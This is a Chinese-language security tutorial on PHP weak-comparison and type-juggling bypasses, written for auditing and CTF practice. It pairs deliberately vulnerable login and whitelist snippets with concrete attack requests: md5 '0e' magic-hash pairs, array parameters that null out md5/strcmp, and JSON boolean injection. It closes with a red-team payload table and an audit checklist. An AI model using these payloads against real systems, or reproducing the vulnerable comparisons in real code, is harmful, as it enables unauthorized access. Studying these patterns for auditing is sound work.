目录
- 一、弱比较原理
- 二、0e魔法哈希
- 三、md5碰撞与数组绕过
- 四、is_numeric与数字型绕过
- 五、in_array与switch的弱比较坑
- 六、json_decode与类型混淆
- 七、认证绕过综合案例
- 八、红队视角总结
一、弱比较原理
vs =
| 运算符 | 规则 | 结论 |
|---|---|---|
== | 先自动转换类型再比”值” | 宽松比较,漏洞之源 |
=== | 类型和值都相同才为 true | 严格比较,安全写法 |
!= | 同 == | 宽松不等 |
!== | 同 === | 严格不等 |
转换规则(记忆表)
<?php
"1" == 1 // true
"1" === 1 // false
"abc" == 0 // true(非数字字符串 → 0)
"" == 0 // true
"0" == false // true
"abc" == false // false(非空字符串 → true)
null == false // true
[] == false // true
0 == "0" // true
0 == "abc" // true("abc"转数字得 0)
"1" == "01" // true
"1e2" == 100 // true(科学计数法)
?>攻防要点:PHP 8 之前
"abc" == 0为 true;PHP 8 起字符串与数字比较改为”数字优先”,"abc" == 0为 false。但"0abc" == 0依然 true(取数字前缀)。审计时先确认目标 PHP 版本。
为什么这能绕过认证
<?php
// 典型错误代码
if ($_GET['password'] == $admin_password) { ... }
// 若 $admin_password = "0",则 password=0 或 password=0e... 均可绕过
// 若 $admin_password 为数字 0,任意非数字字符串 == 0 为 true(PHP<8)
?>二、0e魔法哈希
原理
"0e123" 在数字比较中被解析为 0 × 10^123 = 0。因此任何形如 0e\d+ 的字符串两两弱比较都相等:
<?php
"0e123456789" == "0e987654321" // true!都是 0
"0e462097431906509019562988736854" == "0e830400451993494058759219817635" // true
?>md5 0e 碰撞(认证绕过经典)
<?php
// 漏洞代码:md5 结果直接弱比较
if (md5($_GET['a']) == md5($_GET['b'])) { echo "admin!"; }
// 寻找两个字符串,其 md5 值为 "0e" + 纯数字
?>已知 0e 碰撞对(可直接用于做题/测试):
| 字符串 | md5 值 |
|---|---|
QNKCDZO | 0e830400451993494058759219817635 |
s878926199a | 0e545993274517709034328855841020 |
s155964671a | 0e342768416822451524974117254469 |
s214587387a | 0e848240448830537924465865611904 |
s1091221200a | 0e940624217856561557821327094 |
240610708 | 0e462097431906509019562988736854 |
aabg7XSs | 0e087386482136013740957780965295 |
GET /admin.php?a=QNKCDZO&b=s878926199a
→ md5(a) == md5(b) → 0e... == 0e... → true → 绕过若题目要求
md5(a) == md5(b)且无其它限制,直接上表;若用===严格比较则需真碰撞(见下节)。
sha1 同理
<?php
// sha1 也有 0e 字符串
"sha1('aaroZmOk') == sha1('aaK1STfY')" // 均为 0e 开头 → == true
?>三、md5碰撞与数组绕过
数组绕过(最通用)
<?php
// 漏洞代码
if (md5($_GET['a']) === md5($_GET['b'])) { echo "pass"; }
// 严格比较,0e 无效 → 用数组
?>GET /x.php?a[]=1&b[]=2| 行为 | 结果 |
|---|---|
md5([1,2]) | 报错(数组无法哈希) |
| 报错返回值 | NULL |
NULL === NULL | true |
<?php
md5($_GET['a']) === md5($_GET['b'])
// a[]=1&b[]=2 → NULL === NULL → true → 绕过
// PHP 7.2 起 md5() 对数组触发 TypeError,但部分环境仍返回 NULL;
// PHP 8 抛 TypeError → 需配合异常处理场景
?>数组绕过对
sha1()、strcmp()、in_array()、preg_match()(被is_array拦截前)同样适用。
strcmp 绕过
<?php
// 漏洞代码
if (strcmp($_POST['password'], $admin_pass) == 0) { echo "pass"; }
// strcmp() 在 PHP<8 中传入数组时返回 NULL
// NULL == 0 → true → 绕过
?>POST /login.php password[]=xjson 数字混淆
<?php
// 漏洞代码:json_decode 后弱比较
$data = json_decode(file_get_contents("php://input"), true);
if ($data['isAdmin'] == 1) { echo "admin!"; }
?>POST /api.php {"isAdmin": "1"} # "1" == 1 → true
POST /api.php {"isAdmin": true} # true == 1 → true
POST /api.php {"isAdmin": "1abc"} # PHP<8 "1abc"==1 → true四、is_numeric与数字型绕过
is_numeric 的宽判定
<?php
is_numeric("123"); // true
is_numeric("1.5"); // true
is_numeric("1e3"); // true(科学计数法!)
is_numeric("0x1A"); // PHP7 false(十六进制不再支持)
is_numeric(" 123"); // true(前导空格容忍)
is_numeric("123 "); // PHP8 前 true,PHP8 起 false(尾随空格)
is_numeric("\t123"); // true(水平制表符)
?>绕过案例
<?php
// 漏洞代码
if (is_numeric($_GET['id'])) {
$row = query("SELECT * FROM user WHERE id=" . $_GET['id']);
// "1e3" 通过 is_numeric,拼进 SQL 仍是 "1e3"
// 部分数据库解析 "1e3" → 1*10^3,但若拼接 "1e3 and 1=1" 会失败
}
// 常见绕过:is_numeric 通过后接注入
// id=1e3%20or%201=1 (PHP8 前 "1e3 or 1=1" is_numeric 为 false)
?>实际场景中 is_numeric 更多用于拦截而非放行,绕过思路:
| 绕过手法 | 原理 |
|---|---|
科学计数法 1e3 | 是数字,但不同写法 |
空格 \t \n 前缀 | is_numeric 容忍,SQL/比较可能不同 |
| 十六进制(PHP7 前) | 0x2e 是数字但拼接语义不同 |
换行截断 %0a | 部分解析器截断 |
五、in_array与switch的弱比较坑
in_array 默认弱比较
<?php
// 漏洞代码:白名单校验
$whitelist = [1, 2, 3];
if (in_array($_GET['id'], $whitelist)) {
// id=1abc → in_array 弱比较 "1abc"==1 → true → 进入分支
include("page_" . $_GET['id'] . ".php"); // page_1abc.php 或路径注入
}
?>| 写法 | 行为 |
|---|---|
in_array($x, [1,2,3]) | 弱比较,“1abc” 通过 |
in_array($x, [1,2,3], true) | 严格比较,推荐 |
switch 同理
<?php
switch ($_GET['op']) {
case "add": ... // op=add 匹配
case 1: ... // 字符串 "1abc" 弱匹配数字 1
}
// PHP8 前 switch 用弱比较:op=1abc → 命中 case 1
?>实战路径
<?php
// 结合场景:白名单数组 + 文件操作
$allowed = ['read', 'write'];
$op = $_GET['op'];
if (in_array($op, $allowed)) { // op=0 → 0==read(false), 0==write(false)
file_get_contents($_GET['file']);
}
?>审计口诀:看到
in_array/switch/==没有true/===,先想弱类型绕过。
六、json_decode与类型混淆
类型注入
<?php
$data = json_decode($_POST['json'], true);
// 攻击者可控键的类型:
// {"age": "1e2"} → 字符串
// {"age": 100} → 整数
// {"age": true} → 布尔
// {"age": ["x"]} → 数组
?>| 攻击手法 | 场景 |
|---|---|
布尔注入 "isAdmin": true | 权限判断 if ($data['isAdmin']) |
| 数字注入 | 弱比较 == 绕过 |
| 数组注入 | 绕过字符串过滤函数 |
| 键覆盖 | {"user":"admin","user":"root"} 后者覆盖前者(部分解析器) |
键值覆盖(对象 vs 关联数组)
<?php
// 用对象而非数组接收时:
$data = json_decode($_POST['json']); // 不传 true → stdClass
if ($data->role == 'admin') { ... }
// 攻击:{"role": ["admin"]} → 数组 == 字符串?false
// 攻击:{"role": 0} → PHP8 前 0 == 'admin' → true!
?>七、认证绕过综合案例
案例一:经典 == 登录绕过
<?php
// login.php
$user = $_POST['user'];
$pass = $_POST['pass'];
if ($user == "admin" && $pass == $admin_pass) { echo "flag"; }
?>| 版本 | 绕过 |
|---|---|
| PHP 8 前 | pass=0 → "0" == $admin_pass(若 admin_pass 是非数字串 → false;若比较对象是 0 或 false → true) |
| 通用 | 若 $admin_pass 从数据库读出为 "0"(如 strval(false) 存入),pass=0 直接通过 |
POST /login.php user=admin&pass=0案例二:md5 双参数
<?php
if (md5($_GET['a']) == md5($_GET['b'])) echo "flag";
?>GET /vuln.php?a=QNKCDZO&b=s878926199a # 0e 碰撞
GET /vuln.php?a[]=1&b[]=2 # 数组 NULL案例三:strcmp 数组
<?php
if (strcmp($_POST['token'], $_SESSION['token']) == 0) { echo "admin"; }
?>POST /api.php token[]=1 # strcmp → NULL → NULL==0 → true案例四:弱比较 + 类型转换链
<?php
if ($_GET['role'] == 0) { echo "admin!"; }
// 任意非数字字符串 == 0 → true(PHP 8 前)
?>GET /admin.php?role=guest # "guest" == 0 → true八、红队视角总结
| 漏洞模式 | 特征代码 | 攻击载荷 |
|---|---|---|
== 弱比较 | if ($x == $y) | 数字 0、0e 字符串、数组 |
| md5 0e 碰撞 | md5($a) == md5($b) | QNKCDZO / s878926199a |
| md5 数组 | md5($a) === md5($b) | a[]=1&b[]=2 |
| strcmp 数组 | strcmp($a,$b) == 0 | token[]=x |
| in_array 白名单 | in_array($x, $arr) | 1abc、0 |
| switch 弱匹配 | switch ($op) | 1abc |
| json 类型 | json_decode($x) | {"isAdmin": true} |
| is_numeric 宽松 | is_numeric($x) | 1e3、前导空格 |
审计清单:
- 搜索
==、in_array、switch、strcmp、md5、is_numeric - 确认 PHP 版本(8 前后弱比较行为差异大)
- 输入可控性:是否经过
$_GET/$_POST/$_COOKIE/json - 绕过后的下游动作:进入
include/eval/SQL 拼接则升级为 RCE/SQLi